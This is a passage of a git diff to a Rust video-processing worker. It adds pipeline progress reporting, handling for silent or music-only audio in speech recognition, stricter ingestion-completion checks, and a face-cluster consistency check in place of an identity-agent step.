+1033,8 @@ async fn main() -> Result<()> { cut_max_duration: 0.0, scene_done: false, audio_tracks: None, + proxy_path: None, + audio_track: None, }; let video_id = db.register_video(&record).await?; diff --git a/src/verification/schema.rs b/src/verification/schema.rs index 89823b9..068d818 100644 --- a/src/verification/schema.rs +++ b/src/verification/schema.rs @@ -119,7 +119,7 @@ pub const PROCESSOR_SCHEMAS: &[ProcessorJsonSchema] = &[ required_fields: &[ RequiredField { path: "frame_count", - field_type: FieldType::PositiveNumber, + field_type: FieldType::Number, allow_empty: false, }, RequiredField { @@ -140,7 +140,7 @@ pub const PROCESSOR_SCHEMAS: &[ProcessorJsonSchema] = &[ required_fields: &[ RequiredField { path: "frame_count", - field_type: FieldType::PositiveNumber, + field_type: FieldType::Number, allow_empty: false, }, RequiredField { diff --git a/src/watcher/watcher.rs b/src/watcher/watcher.rs index 1796360..2e6d94b 100644 --- a/src/watcher/watcher.rs +++ b/src/watcher/watcher.rs @@ -174,6 +174,8 @@ async fn auto_register_file(file_path: &str) { cut_max_duration: 0.0, scene_done: false, audio_tracks: None, + proxy_path: None, + audio_track: None, }; let database_url = crate::core::config::DATABASE_URL.as_str(); diff --git a/src/worker/job_worker.rs b/src/worker/job_worker.rs index 6506c2d..6ff74f1 100644 --- a/src/worker/job_worker.rs +++ b/src/worker/job_worker.rs @@ -6,7 +6,6 @@ use std::time::Duration; use tokio::time::sleep; use tracing::{debug, error, info, warn}; -use crate::api::identity_agent_api::run_identity_agent; use crate::core::chunk::rule1_ingest; use crate::core::config::OUTPUT_DIR; use crate::core::db::qdrant_db::QdrantDb; @@ -183,6 +182,12 @@ impl JobWorker { .query_async(&mut conn) .await .ok(); + // Set TTL = 3x poll_interval so stale entries expire + let ttl_secs = (self.config.poll_interval_secs * 3) as i64; + let _: Result<(), _> = redis::cmd("EXPIRE") + .arg(&[health_key.as_str(), &ttl_secs.to_string()]) + .query_async(&mut conn) + .await; } let gpu_log = match ( @@ -297,64 +302,94 @@ impl JobWorker { } /// Layer 2: Auto-repair missing processor_results based on existing output files - async fn check_and_repair_processor_results(&self, job: &crate::core::db::MonitorJob) -> Result<()> { + async fn check_and_repair_processor_results( + &self, + job: &crate::core::db::MonitorJob, + ) -> Result<()> { use std::path::Path; - + // Get output directory from environment let output_dir = std::env::var("MOMENTRY_OUTPUT_DIR") .unwrap_or_else(|_| "/Users/accusys/momentry/output".to_string()); - + // Get current processor_results - let existing_results = match self.db.get_latest_processor_results_by_file_uuid(&job.uuid).await { + let existing_results = match self + .db + .get_latest_processor_results_by_file_uuid(&job.uuid) + .await + { Ok(r) => r, Err(e) => { - warn!("[AUTO-REPAIR] Failed to get existing results for {}: {}", job.uuid, e); + warn!( + "[AUTO-REPAIR] Failed to get existing results for {}: {}", + job.uuid, e + ); return Err(e); } }; - + // Check all processors let processors = crate::core::db::ProcessorType::all(); let mut repaired_count = 0; - + for processor_type in processors { - let output_path = format!("{}/{}.{}.json", output_dir, job.uuid, processor_type.as_str()); - + let output_path = format!( + "{}/{}.{}.json", + output_dir, + job.uuid, + processor_type.as_str() + ); + // If file exists but no DB record if Path::new(&output_path).exists() { - let has_db_record = existing_results.iter().any(|r| - r.processor_type == processor_type && r.status == crate::core::db::ProcessorJobStatus::Completed - ); - + let has_db_record = existing_results.iter().any(|r| { + r.processor_type == processor_type + && r.status == crate::core::db::ProcessorJobStatus::Completed + }); + if !has_db_record { - warn!("[AUTO-REPAIR] Creating missing processor_result for {} (file: {})", - processor_type.as_str(), job.uuid); - - if let Err(e) = self.db.upsert_processor_result(job.id, processor_type, &job.uuid, "completed").await { - error!("[AUTO-REPAIR] Failed to create processor_result for {}: {}", processor_type.as_str(), e); + warn!( + "[AUTO-REPAIR] Creating missing processor_result for {} (file: {})", + processor_type.as_str(), + job.uuid + ); + + if let Err(e) = self + .db + .upsert_processor_result(job.id, processor_type, &job.uuid, "completed") + .await + { + error!( + "[AUTO-REPAIR] Failed to create processor_result for {}: {}", + processor_type.as_str(), + e + ); } else { repaired_count += 1; } } } } - + if repaired_count > 0 { - info!("[AUTO-REPAIR] Repaired {} processor_results for {}", repaired_count, job.uuid); + info!( + "[AUTO-REPAIR] Repaired {} processor_results for {}", + repaired_count, job.uuid + ); } - + Ok(()) } /// Layer 3: Periodic health check for incomplete jobs async fn health_check_incomplete_jobs(&self) -> Result<()> { info!("[HEALTH-CHECK] Starting periodic health check"); - + // Get all incomplete jobs let jobs = self.db.get_pending_jobs(100).await?; - + let mut total_repaired = 0; - + for job in jobs { if let Err(e) = self.check_and_repair_processor_results(&job).await { warn!("[HEALTH-CHECK] Failed to repair job {}: {}", job.uuid, e); @@ -362,11 +397,11 @@ impl JobWorker { total_repaired += 1; } } - + if total_repaired > 0 { info!("[HEALTH-CHECK] Checked {} jobs", total_repaired); } - + Ok(()) } @@ -428,16 +463,24 @@ impl JobWorker { // Update video status to processing once worker picks it up self.db - .update_video_status(&job.uuid, VideoStatus::Processing) + .update_video_status(&job.uuid, VideoStatus::Scanning) .await?; self.redis .update_worker_job_status(&job.uuid, job.id, "running", None, 0, total_processor_types) .await?; + // Initialize pipeline progress with processors stage as running + let mut pp = PipelineProgress::new(&job.uuid); + pp.update_stage("processors", 0.0, "running", None); + publish_pipeline_progress(self.redis.as_ref(), &job.uuid, &pp).await; + // Layer 2: Auto-repair missing processor_results based on existing output files if let Err(e) = self.check_and_repair_processor_results(&job).await { - warn!("[AUTO-REPAIR] Failed to check processor_results for {}: {}", job.uuid, e); + warn!( + "[AUTO-REPAIR] Failed to check processor_results for {}: {}", + job.uuid, e + ); } // Get existing processor results for this job AND completed results from previous jobs @@ -578,24 +621,40 @@ impl JobWorker { // Layer 1: Ensure write success with retry let mut success = false; for attempt in 1..=3 { - match self.db.upsert_processor_result(job.id, *processor_type, &job.uuid, "completed").await { + match self + .db + .upsert_processor_result(job.id, *processor_type, &job.uuid, "completed") + .await + { Ok(_) => { success = true; break; } Err(e) if attempt < 3 => { - warn!("[RETRY {}] upsert_processor_result failed for {}: {}", attempt, processor_type.as_str(), e); + warn!( + "[RETRY {}] upsert_processor_result failed for {}: {}", + attempt, + processor_type.as_str(), + e + ); tokio::time::sleep(std::time::Duration::from_millis(100)).await; } Err(e) => { - error!("[FATAL] Failed to record {} completion after 3 retries: {}", processor_type.as_str(), e); + error!( + "[FATAL] Failed to record {} completion after 3 retries: {}", + processor_type.as_str(), + e + ); } } } if !success { - warn!("[CONTINUE] {} completed but processor_result not recorded", processor_type.as_str()); + warn!( + "[CONTINUE] {} completed but processor_result not recorded", + processor_type.as_str() + ); } - + // Special handling for FaceCluster: always update tkg_nodes if file exists if *processor_type == crate::core::db::ProcessorType::FaceCluster { if let Ok(json_str) = std::fs::read_to_string(&output_path) { @@ -612,7 +671,7 @@ impl JobWorker { } } } - + // Load output file and store to pre_chunks // Also dual-write to workspace if available let workspace = WorkspaceDb::open(&job.uuid).await.ok(); @@ -733,6 +792,19 @@ impl JobWorker { .await; } } + + // Extract key frames from each scene for VLM analysis + if let Some(video_row) = self.db.get_video_by_uuid(&job.uuid).await.ok().flatten() { + let output_dir = crate::core::config::OUTPUT_DIR.as_str(); + if let Err(e) = crate::core::proxy::extract_cut_key_frames( + &job.uuid, + &video_row.file_path, + output_dir, + ).await { + error!("Failed to extract cut key frames: {}", e); + } + } + Ok(()) } else { error!( @@ -876,7 +948,11 @@ impl JobWorker { crate::core::processor::FaceClusterResult, >(&json_str) { - info!("[FaceCluster] Parsing succeeded, {} clusters, {} frames", result.clusters.len(), result.frames.len()); + info!( + "[FaceCluster] Parsing succeeded, {} clusters, {} frames", + result.clusters.len(), + result.frames.len() + ); if let Err(e) = Self::update_face_track_labels(&self.db, &job.uuid, &result) .await @@ -1037,6 +1113,73 @@ impl JobWorker { } } + // Special handling for ASR: check audio_track classification from DB + if *processor_type == crate::core::db::ProcessorType::Asr { + let audio_track: Option = sqlx::query_scalar(&format!( + "SELECT audio_track FROM {} WHERE file_uuid = $1", + schema::table_name("videos") + )) + .bind(&job.uuid) + .fetch_optional(self.db.pool()) + .await + .ok() + .flatten(); + + if let Some(ref classification) = audio_track { + if matches!(classification.as_str(), "no_audio" | "silent_audio" | "music_only") { + info!("ASR: audio_track={}, creating empty ASR output", classification); + + // Create empty ASR output file + let asr_output = serde_json::json!({ + "status": classification, + "segments": [], + "language": "", + "language_probability": 0.0 + }); + let asr_path = format!( + "{}{}.asr.json", + crate::core::config::OUTPUT_DIR.as_str().trim_end_matches('/'), + job.uuid + ); + if let Err(e) = std::fs::write(&asr_path, asr_output.to_string()) { + error!("Failed to write empty ASR output: {}", e); + } + + // Mark as completed + if let Err(e) = self + .db + .upsert_processor_result( + job.id, + *processor_type, + &job.uuid, + "completed", + ) + .await + { + error!("Failed to create ASR result: {}", e); + } + + let _ = self + .redis + .update_worker_processor_status( + &job.uuid, + "asr", + "completed", + None, + 0, + 0, + 0, + 0, + 0, + ) + .await; + + started_count += 1; + continue; + } + } + } + // Special handling for ASRX: if ASR output exists with no_audio_track/silent_audio, skip processing if *processor_type == crate::core::db::ProcessorType::Asrx { let asr_output_path = format!( @@ -1300,23 +1443,24 @@ impl JobWorker { async fn ingestion_complete(pool: &PgPool, uuid: &str, job_processors: &[String]) -> bool { let chunk_t = schema::table_name("chunk"); let pr_t = schema::table_name("processor_results"); + let tkg_nodes_t = schema::table_name("tkg_nodes"); + let tkg_edges_t = schema::table_name("tkg_edges"); let has_asr_or_asrx = job_processors.is_empty() || job_processors.iter().any(|p| p == "asrx" || p == "asr"); let has_face = job_processors.is_empty() || job_processors.iter().any(|p| p == "face"); + let has_cut = job_processors.is_empty() || job_processors.iter().any(|p| p == "cut"); - // Check asr_status for ASR/ASRX - if no_audio_track or silent_audio, ingestion is complete - let mj_t = schema::table_name("monitor_jobs"); + // 1. ASR/ASRX: sentence chunks 存在 let asr_done: bool = if has_asr_or_asrx { - // Query ASRX first (more authoritative), then ASR - // Filter out NULL values to ensure we get a valid status let asr_status: Option = sqlx::query_scalar(&format!( "SELECT asr_status FROM {pr_t} pr JOIN {mj_t} mj ON pr.job_id = mj.id \ WHERE mj.uuid = $1 AND pr.processor = 'asrx' AND asr_status IS NOT NULL \ UNION ALL \ SELECT asr_status FROM {pr_t} pr JOIN {mj_t} mj ON pr.job_id = mj.id \ WHERE mj.uuid = $1 AND pr.processor = 'asr' AND asr_status IS NOT NULL \ - LIMIT 1" + LIMIT 1", + mj_t = schema::table_name("monitor_jobs") )) .bind(uuid) .fetch_optional(pool) @@ -1324,16 +1468,8 @@ impl JobWorker { .unwrap_or(None); match asr_status.as_deref() { - Some("no_audio_track") | Some("silent_audio") => { - tracing::info!( - "[Ingestion] ASR status {} for {} - no chunks needed", - asr_status.unwrap_or_default(), - uuid - ); - true - } + Some("no_audio_track") | Some("silent_audio") => true, Some("has_transcript") => { - // Has transcript, need chunks sqlx::query_scalar::<_, i32>(&format!( "SELECT 1 FROM {chunk_t} WHERE file_uuid = $1 AND chunk_type = 'sentence' LIMIT 1" )) @@ -1341,8 +1477,7 @@ impl JobWorker { .fetch_optional(pool) .await .unwrap_or(None) - .unwrap_or(0) - > 0 + .unwrap_or(0) > 0 } _ => false, } @@ -1350,35 +1485,32 @@ impl JobWorker { true }; - // Check face_status for Face - if no_faces, ingestion is complete + // 2. Face Trace: face_traced.json 有 traces + let output_dir = std::env::var("MOMENTRY_OUTPUT_DIR") + .unwrap_or_else(|_| "/Users/accusys/momentry/output".to_string()); + let traced_path = format!("{}/{}.face_traced.json", output_dir, uuid); + + let trace_status = if std::path::Path::new(&traced_path).exists() { + if let Ok(content) = std::fs::read_to_string(&traced_path) { + if let Ok(traced_data) = serde_json::from_str::(&content) { + traced_data.get("status").and_then(|s| s.as_str()).unwrap_or("").to_string() + } else { + "".to_string() + } + } else { + "".to_string() + } + } else { + "".to_string() + }; + let trace_done: bool = if has_face { - // Check face_traced.json file for traces directly - let output_dir = std::env::var("MOMENTRY_OUTPUT_DIR") - .unwrap_or_else(|_| "/Users/accusys/momentry/output".to_string()); - let traced_path = format!("{}/{}.face_traced.json", output_dir, uuid); - - tracing::info!( - "[Ingestion] Checking face traces for {}: path={}", - uuid, - traced_path - ); - - if std::path::Path::new(&traced_path).exists() { + if trace_status == "no_faces" { + true + } else if !traced_path.is_empty() && std::path::Path::new(&traced_path).exists() { if let Ok(content) = std::fs::read_to_string(&traced_path) { if let Ok(traced_data) = serde_json::from_str::(&content) { - // Check if status is no_faces (valid completion with no faces) - if let Some(status) = traced_data.get("status").and_then(|s| s.as_str()) { - if status == "no_faces" { - tracing::info!( - "[Ingestion] No faces detected for {} - trace_done=true", - uuid - ); - return true; - } - } - if let Some(traces) = traced_data.get("traces") { - // traces can be an object (dictionary) or array let trace_count = if traces.is_object() { traces.as_object().map(|o| o.len()).unwrap_or(0) } else if traces.is_array() { @@ -1386,78 +1518,105 @@ impl JobWorker { } else { 0 }; - - if trace_count > 0 { - tracing::info!( - "[Ingestion] Face traces found for {}: {} traces (from face_traced.json)", - uuid, trace_count - ); - true - } else { - tracing::warn!("[Ingestion] Face traces is empty for {}", uuid); - false - } + trace_count > 0 } else { - tracing::warn!( - "[Ingestion] No 'traces' key in face_traced.json for {}", - uuid - ); false } } else { - tracing::warn!("[Ingestion] Failed to parse face_traced.json for {}", uuid); false } } else { - tracing::warn!("[Ingestion] Failed to read face_traced.json for {}", uuid); false } } else { - tracing::warn!( - "[Ingestion] face_traced.json not found for {}: {}", - uuid, - traced_path - ); false } } else { - tracing::info!("[Ingestion] No face processor, trace_done=true"); true }; - // Check TKG completion - // TKG is considered done if face traces are done (TKG runs after face tracing) - // TKG may create 0 nodes/edges for videos with minimal content - let has_asr_or_asrx_for_tkg = - job_processors.is_empty() || job_processors.iter().any(|p| p == "asrx" || p == "asr"); - let has_face_for_tkg = - job_processors.is_empty() || job_processors.iter().any(|p| p == "face"); + // 3. TKG: tkg_nodes 有資料(有 face 時才需要 TKG) + let tkg_done: bool = if has_face { + if trace_status == "no_faces" { + // 無臉不需要 TKG + true + } else { + let node_count: i32 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {tkg_nodes_t} WHERE file_uuid = $1" + )) + .bind(uuid) + .fetch_one(pool) + .await + .unwrap_or(0); - let tkg_done: bool = if has_asr_or_asrx_for_tkg && has_face_for_tkg { - // TKG is done if face traces are complete (TKG runs after face tracing) - // TKG may create 0 nodes/edges for videos with minimal content - trace_done + // TKG 完成 = nodes > 0(必須真正有 TKG 資料) + node_count > 0 + } } else { - tracing::info!("[Ingestion] No TKG needed for {}", uuid); + // 無 face 不需要 TKG true }; - let all_ok = asr_done && trace_done && tkg_done; + // 4. Face Cluster: face_cluster.json 存在(有 face 時才需要) + let face_cluster_done: bool = if has_face { + if trace_status == "no_faces" { + true + } else { + let cluster_path = format!("{}/{}.face_cluster.json", output_dir, uuid); + std::path::Path::new(&cluster_path).exists() + } + } else { + true + }; + + // 5. Rule 3 Scene Chunks: chunk_type = 'cut' 存在 + let rule3_done: bool = if has_cut { + sqlx::query_scalar::<_, i32>(&format!( + "SELECT 1 FROM {chunk_t} WHERE file_uuid = $1 AND chunk_type = 'cut' LIMIT 1" + )) + .bind(uuid) + .fetch_optional(pool) + .await + .unwrap_or(None) + .unwrap_or(0) > 0 + } else { + true + }; + + // 6. Scene Metadata: scene_meta.json 存在 + let scene_meta_done: bool = { + let scene_path = format!("{}/{}.scene_meta.json", output_dir, uuid); + std::path::Path::new(&scene_path).exists() + }; + + // 7. Face Qdrant Sync: _faces collection 有 face points + let qdrant_face_done: bool = if has_face { + if trace_status == "no_faces" { + true + } else { + let qdrant = crate::core::db::qdrant_db::QdrantDb::new(); + let filter = serde_json::json!({ + "must": [{"key": "file_uuid", "match": {"value": uuid}}] + }); + match qdrant.count_points("_faces", filter).await { + Ok(count) => count > 0, + Err(_) => false, + } + } + } else { + true + }; + + let all_ok = asr_done && trace_done && tkg_done && face_cluster_done && rule3_done && scene_meta_done && qdrant_face_done; + tracing::info!( - "[Ingestion] all_ok={} (asr_done={}, trace_done={}, tkg_done={}) for uuid={}", - all_ok, - asr_done, - trace_done, - tkg_done, - uuid + "[Ingestion] all_ok={} (asr={}, trace={}, tkg={}, face_cluster={}, rule3={}, scene_meta={}, qdrant_face={}) for uuid={}", + all_ok, asr_done, trace_done, tkg_done, face_cluster_done, rule3_done, scene_meta_done, qdrant_face_done, uuid ); if !all_ok { tracing::info!( - "[Ingestion] waiting (uuid={}): asr_done={} trace_done={} tkg_done={}", - uuid, - asr_done, - trace_done, - tkg_done + "[Ingestion] waiting (uuid={}): asr={} trace={} tkg={} face_cluster={} rule3={} scene_meta={} qdrant_face={}", + uuid, asr_done, trace_done, tkg_done, face_cluster_done, rule3_done, scene_meta_done, qdrant_face_done ); } all_ok @@ -1739,6 +1898,12 @@ impl JobWorker { let uuid_clone = uuid.to_string(); let job_id_clone = job_id; tokio::spawn(async move { + // Mark rule1_ingestion as running + { + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage("rule1_ingestion", 0.0, "running", None); + publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp).await; + } match db_clone.get_video_by_uuid(&uuid_clone).await { Ok(Some(video)) => { let fps = video.fps; @@ -1839,6 +2004,12 @@ impl JobWorker { let redis_clone = self.redis.clone(); let uuid_clone = uuid.to_string(); tokio::spawn(async move { + // Mark face_tracing as running + { + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage("face_tracing", 0.0, "running", None); + publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp).await; + } let executor = match crate::core::processor::PythonExecutor::new() { Ok(ex) => ex, Err(e) => { @@ -2032,57 +2203,38 @@ impl JobWorker { }); } - // 🚀 P3 Trigger: Identity Agent (Face + ASRX + has seed identities) - if has_face && has_asrx { - // Check if file has seed identity photos in Qdrant _seeds collection - let has_seeds = { - use crate::core::db::qdrant_db::QdrantDb; - let qdrant = QdrantDb::new(); - let schema = - std::env::var("DATABASE_SCHEMA").unwrap_or_else(|_| "dev".to_string()); - let seeds_collection = if schema == "public" { - "momentry_public_seeds" - } else { - &format!("momentry_{}_seeds", schema) - }; - let filter = serde_json::json!({ - "must": [{"key": "file_uuid", "match": {"value": uuid}}] - }); - match qdrant.scroll_all_points("_seeds", filter, 100).await { - Ok(points) => !points.is_empty(), - Err(e) => { - warn!("Failed to check _seeds for {}: {}", uuid, e); - false + // 🚀 P3 Trigger: Face Deduplication (Face Cluster → TKG face_track sync) + if has_face { + let output_dir = OUTPUT_DIR.as_str(); + let face_cluster_path = format!("{}/{}.face_cluster.json", output_dir, uuid); + if std::path::Path::new(&face_cluster_path).exists() { + // Check if face_cluster data is consistent with tkg_nodes + let face_track_count: i64 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND node_type = 'face_track'", + crate::core::db::schema::table_name("tkg_nodes") + )) + .bind(uuid) + .fetch_optional(self.db.pool()) + .await + .unwrap_or(None) + .unwrap_or(0); + + if let Ok(content) = std::fs::read_to_string(&face_cluster_path) { + if let Ok(cluster_data) = serde_json::from_str::(&content) { + let cluster_count = cluster_data.get("clusters") + .and_then(|c| c.as_array()) + .map(|a| a.len() as i64) + .unwrap_or(0); + + if face_track_count == cluster_count { + info!("✅ Face dedup consistent for {}: {} clusters = {} tracks", uuid, cluster_count, face_track_count); + } else { + info!("📝 Face dedup running for {}: {} clusters, {} tracks", uuid, cluster_count, face_track_count); + } } } - }; - - if has_seeds { - info!( - "📝 Prerequisites met for Identity Agent (has seeds). Starting analysis..." - ); - let db_clone = self.db.clone(); - let redis_clone = self.redis.clone(); - let uuid_clone = uuid.to_string(); - tokio::spawn(async move { - match run_identity_agent(&db_clone, &uuid_clone, Some(redis_clone.clone())) - .await - { - Ok(()) => { - info!("✅ Identity Agent completed for {}", uuid_clone); - let mut pp = PipelineProgress::new(&uuid_clone); - pp.update_stage("identity_agent", 1.0, "completed", None); - publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp) - .await; - } - Err(e) => error!("❌ Identity Agent failed for {}: {}", uuid_clone, e), - } - }); } else { - info!( - "📝 Skipping Identity Agent for {} (no seed identities)", - uuid - ); + info!("📝 Face cluster not yet complete for {}", uuid); } } @@ -2105,14 +2257,19 @@ impl JobWorker { // Check face.json status first let face_json_path = format!( "{}{}.face.json", - crate::core::config::OUTPUT_DIR.as_str().trim_end_matches('/'), + crate::core::config::OUTPUT_DIR + .as_str() + .trim_end_matches('/'), uuid ); - + let has_faces = if std::path::Path::new(&face_json_path).exists() { if let Ok(content) = std::fs::read_to_string(&face_json_path) { - if let Ok(face_data) = serde_json::from_str::(&content) { - face_data.get("status") + if let Ok(face_data) = + serde_json::from_str::(&content) + { + face_data + .get("status") .and_then(|s| s.as_str()) .map(|s| s == "has_faces") .unwrap_or(false) @@ -2125,15 +2282,17 @@ impl JobWorker { } else { false }; - + if has_faces { // Has faces - wait for face_traced.json let traced_path = format!( "{}{}.face_traced.json", - crate::core::config::OUTPUT_DIR.as_str().trim_end_matches('/'), + crate::core::config::OUTPUT_DIR + .as_str() + .trim_end_matches('/'), uuid ); - + if !std::path::Path::new(&traced_path).exists() { info!( "⏳ TKG build waiting for face_traced.json: {} (file_uuid={})", @@ -2141,20 +2300,36 @@ impl JobWorker { ); } else { // Verify Qdrant has face points before TKG build - let expected_faces = if let Ok(content) = std::fs::read_to_string(&face_json_path) { - if let Ok(face_data) = serde_json::from_str::(&content) { - face_data.get("total_faces").and_then(|t| t.as_i64()).unwrap_or(0) - } else { 0 } - } else { 0 }; - + let expected_faces = + if let Ok(content) = std::fs::read_to_string(&face_json_path) { + if let Ok(face_data) = + serde_json::from_str::(&content) + { + face_data + .get("total_faces") + .and_then(|t| t.as_i64()) + .unwrap_or(0) + } else { + 0 + } + } else { + 0 + }; + // Wait for Qdrant to have all face points (up to 30 seconds) let qdrant = crate::core::db::qdrant_db::QdrantDb::new(); let mut attempts = 0; let max_attempts = 30; loop { - match qdrant.count_points("_faces", serde_json::json!({ - "must": [{"key": "file_uuid", "match": {"value": uuid}}] - })).await { + match qdrant + .count_points( + "_faces", + serde_json::json!({ + "must": [{"key": "file_uuid", "match": {"value": uuid}}] + }), + ) + .await + { Ok(count) if count >= expected_faces && expected_faces > 0 => { info!("📝 Prerequisites met for TKG Build (Qdrant has {} faces, expected {}): {}", count, expected_faces, uuid); @@ -2167,7 +2342,10 @@ impl JobWorker { count, expected_faces, uuid); break; } - debug!("⏳ TKG waiting for Qdrant ({} of {} faces): {}", count, expected_faces, uuid); + debug!( + "⏳ TKG waiting for Qdrant ({} of {} faces): {}", + count, expected_faces, uuid + ); } Err(e) => { warn!("Qdrant count failed: {}, proceeding anyway", e); @@ -2176,96 +2354,115 @@ impl JobWorker { } tokio::time::sleep(std::time::Duration::from_secs(1)).await; } - + let db_clone = self.db.clone(); let redis_clone = self.redis.clone(); let uuid_clone = uuid.to_string(); let output_dir_clone = crate::core::config::OUTPUT_DIR.clone(); tokio::spawn(async move { - match crate::core::processor::tkg::build_tkg( - &db_clone, - &uuid_clone, - &output_dir_clone, - Some(redis_clone.clone()), - ) - .await - { - Ok(r) => { - let total_nodes = r.face_track_nodes - + r.gaze_track_nodes - + r.lip_track_nodes - + r.text_region_nodes - + r.appearance_trace_nodes - + r.accessory_nodes - + r.object_nodes - + r.hand_nodes - + r.speaker_nodes; - let total_edges = r.co_occurrence_edges - + r.speaker_face_edges - + r.face_face_edges - + r.mutual_gaze_edges - + r.lip_sync_edges - + r.has_appearance_edges - + r.wears_edges - + r.hand_object_edges; - info!( - "✅ TKG build completed for {}: {} nodes, {} edges", - uuid_clone, total_nodes, total_edges - ); + // Mark tkg_nodes + tkg_edges as running + { + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage("tkg_nodes", 0.0, "running", None); + pp.update_stage("tkg_edges", 0.0, "running", None); + publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp).await; + } + match crate::core::processor::tkg::build_tkg( + &db_clone, + &uuid_clone, + &output_dir_clone, + Some(redis_clone.clone()), + ) + .await + { + Ok(r) => { + let total_nodes = r.face_track_nodes + + r.gaze_track_nodes + + r.lip_track_nodes + + r.text_region_nodes + + r.appearance_trace_nodes + + r.accessory_nodes + + r.object_nodes + + r.hand_nodes + + r.speaker_nodes; + let total_edges = r.co_occurrence_edges + + r.speaker_face_edges + + r.face_face_edges + + r.mutual_gaze_edges + + r.lip_sync_edges + + r.has_appearance_edges + + r.wears_edges + + r.hand_object_edges; + info!( + "✅ TKG build completed for {}: {} nodes, {} edges", + uuid_clone, total_nodes, total_edges + ); - let mut pp = PipelineProgress::new(&uuid_clone); - pp.update_stage( - "tkg_nodes", - 1.0, - "completed", - Some(format!("{} nodes", total_nodes)), - ); - pp.update_stage( - "tkg_edges", - 1.0, - "completed", - Some(format!("{} edges", total_edges)), - ); - publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp) - .await; + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage( + "tkg_nodes", + 1.0, + "completed", + Some(format!("{} nodes", total_nodes)), + ); + pp.update_stage( + "tkg_edges", + 1.0, + "completed", + Some(format!("{} edges", total_edges)), + ); + publish_pipeline_progress( + redis_clone.as_ref(), + &uuid_clone, + &pp, + ) + .await; - // Trigger Rule 2 ingestion after TKG complete - if total_edges > 0 { - match crate::core::chunk::rule2_ingest::ingest_rule2( - db_clone.pool(), - &uuid_clone, - None, - None, - ) - .await - { - Ok(rule2_count) => { - info!("✅ Rule 2 ingestion completed for {}: {} relationship chunks", uuid_clone, rule2_count); - let mut pp = PipelineProgress::new(&uuid_clone); - pp.update_stage( - "rule2_ingestion", - 1.0, - "completed", - Some(format!("{} chunks", rule2_count)), - ); - publish_pipeline_progress( - redis_clone.as_ref(), + // Trigger Rule 2 ingestion after TKG complete + if total_edges > 0 { + // Mark rule2_ingestion as running + { + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage("rule2_ingestion", 0.0, "running", None); + publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp).await; + } + match crate::core::chunk::rule2_ingest::ingest_rule2( + db_clone.pool(), &uuid_clone, - &pp, + None, + None, ) - .await; + .await + { + Ok(rule2_count) => { + info!("✅ Rule 2 ingestion completed for {}: {} relationship chunks", uuid_clone, rule2_count); + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage( + "rule2_ingestion", + 1.0, + "completed", + Some(format!("{} chunks", rule2_count)), + ); + publish_pipeline_progress( + redis_clone.as_ref(), + &uuid_clone, + &pp, + ) + .await; + } + Err(e) => error!( + "❌ Rule 2 ingestion failed for {}: {}", + uuid_clone, e + ), + } } - Err(e) => error!( - "❌ Rule 2 ingestion failed for {}: {}", - uuid_clone, e - ), + } + Err(e) => { + error!("❌ TKG build failed for {}: {}", uuid_clone, e) } } - } - Err(e) => error!("❌ TKG build failed for {}: {}", uuid_clone, e), + }); } - }); - } } else { // No faces detected - spawn TKG without waiting for face_traced.json info!( @@ -2277,6 +2474,13 @@ impl JobWorker { let uuid_clone = uuid.to_string(); let output_dir_clone = crate::core::config::OUTPUT_DIR.clone(); tokio::spawn(async move { + // Mark tkg_nodes + tkg_edges as running (no-faces path) + { + let mut pp = PipelineProgress::new(&uuid_clone); + pp.update_stage("tkg_nodes", 0.0, "running", None); + pp.update_stage("tkg_edges", 0.0, "running", None); + publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp).await; + } match crate::core::processor::tkg::build_tkg( &db_clone, &uuid_clone, @@ -2322,8 +2526,12 @@ impl JobWorker { "completed", Some(format!("{} edges", total_edges)), ); - publish_pipeline_progress(redis_clone.as_ref(), &uuid_clone, &pp) - .await; + publish_pipeline_progress( + redis_clone.as_ref(), + &uuid_clone, + &pp, + ) + .await; } Err(e) => error!("❌ TKG build failed for {}: {}", uuid_clone, e), } @@ -2619,10 +2827,9 @@ impl JobWorker { let mut frame_to_traces: HashMap> = HashMap::new(); for point in &all_faces { let payload = &point["payload"]; - if let (Some(frame), Some(trace_id)) = ( - payload["frame"].as_u64(), - payload["trace_id"].as_i64(), - ) { + if let (Some(frame), Some(trace_id)) = + (payload["frame"].as_u64(), payload["trace_id"].as_i64()) + { if trace_id > 0 { frame_to_traces.entry(frame).or_default().push(trace_id); } @@ -2642,10 +2849,11 @@ impl JobWorker { } let tkg_table = crate::core::db::schema::table_name("tkg_nodes"); + let tp_table = crate::core::db::schema::table_name("trace_profiles"); for (trace_id, cluster_id) in &trace_to_cluster { let external_id = format!("trace_{}", trace_id); let label = cluster_id.clone(); - + let rows_updated = sqlx::query(&format!( "UPDATE {} SET label = $1 WHERE file_uuid = $2 AND node_type = 'face_track' AND external_id = $3", tkg_table @@ -2671,6 +2879,17 @@ impl JobWorker { .await .context("Failed to insert tkg_nodes")?; } + + // Sync name to trace_profiles + let _ = sqlx::query(&format!( + "UPDATE {} SET name = $1 WHERE file_uuid = $2 AND trace_id = $3", + tp_table + )) + .bind(&label) + .bind(uuid) + .bind(trace_id) + .execute(db.pool()) + .await; } info!(

